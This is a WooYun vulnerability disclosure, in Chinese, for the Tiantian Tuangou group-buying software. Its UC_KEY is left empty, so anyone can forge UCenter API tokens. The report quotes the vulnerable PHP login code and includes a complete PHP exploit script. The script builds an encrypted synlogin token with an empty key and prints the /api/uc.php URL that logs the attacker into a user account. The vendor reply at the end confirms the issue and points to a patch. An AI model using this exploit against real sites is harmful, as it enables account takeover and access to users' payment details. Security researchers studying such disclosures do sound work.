当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-04951

漏洞标题：天天团购UC_KEY未初始化安全隐患

相关厂商：天天团购

漏洞作者： 牛奶坦克

提交时间：2012-03-01 20:13

修复时间：2012-04-15 20:14

公开时间：2012-04-15 20:14

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-03-01： 细节已通知厂商并且等待厂商处理中
2012-03-02： 厂商已经确认，细节仅向厂商公开
2012-03-12： 细节向核心白帽子及相关领域专家公开
2012-03-22： 细节向普通白帽子公开
2012-04-01： 细节向实习白帽子公开
2012-04-15： 细节向公众公开

简要描述：

天天团购集成了ucenter一站式登录api,但是UC_key未初始化将导致攻击者可以登录任意帐号,甚至操作信用卡信息.

详细说明：

$get = $post = array();
	$code = @$_GET['code'];							//获取token
	parse_str(_authcode($code, 'DECODE', UC_KEY), $get);		//UC_KEY未经初始化的情况下会为空
	if(MAGIC_QUOTES_GPC) {
		$get = _stripslashes($get);						//哟嗬?
	}
	
	$timestamp = time();
	if(empty($get)) {
		exit('Invalid Request');
	} elseif($timestamp - $get['time'] > 3600) {				//如果token中的时间戳有效期不足一小时则不允许登录
		exit('Authracation has expiried');
	}
	$action = $get['action'];
... ...
	if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings'))) {	//定义了几个操作接口,其中,恩,有很多好玩的东西
... ...
	function synlogin($get, $post) {						//登录接口
		$uid = (int) $get['uid'];						//需要两个参数,uid和username
		$username = $get['username'];
		... ...	
		$query = $this->db->query("SELECT uid, password, secques FROM {$this->tablepre}system_members WHERE ucuid='$uid'");		//这里传递的不是数据库内的uid,而是ucuid,这里初始都是0的,但是这里又写的很糙,username根本没进入查询流程,也就是说只能登录第一个账户
		$UserFields = $this->db->fetch_array($query);
		if (!$UserFields) {
			;
		}
		if($UserFields) {	
			$auth = TTTuangouAuthcode("{$UserFields['password']}\t{$UserFields['secques']}\t{$UserFields['uid']}");		//取出用户信息后直接站内登录
			
			_setcookie('sid', '', -86400 * 365);
			_setcookie('auth',$auth,(365*86400));
			_setcookie('cookietime','2592000',(365*86400));
		... ...


UC_KEY未初始化为空,所以也就等于别人知道了你的UC_KEY,可直接进行操作,像一些应用初始化为123456其实一样可笑,下了你的源码看一眼不就又知道了?

漏洞证明：

Exp:
<?php
error_reporting(0);
$username = $argv[1];
$key = '';
$code = 'time=1356796800&username='.$username.'&uid=0&action=synlogin';
echo "$code\n";
$exp = urlencode(authcode($code, "ENCODE", $key));
print_r('/api/uc.php?code='.$exp);
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
 
    $ckey_length = 4;
 
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
 
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
 
    $result = '';
    $box = range(0, 255);
 
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
 
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
 
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
 
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
 
}

修复方案：

需要在安装过程就给予正确的引导,比如设置自己的key或者禁用uc_client功能等.

版权声明：转载请注明来源 牛奶坦克@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2012-03-02 18:57

厂商回复：

感谢提供，是ucenter模块配置初始化漏洞，使用者整合了ucenter就相对来说安全些，已经发布补丁更新相关程序下载。
补丁详见：http://cenwor.com/thread-12826-1-1.html

最新状态：

暂无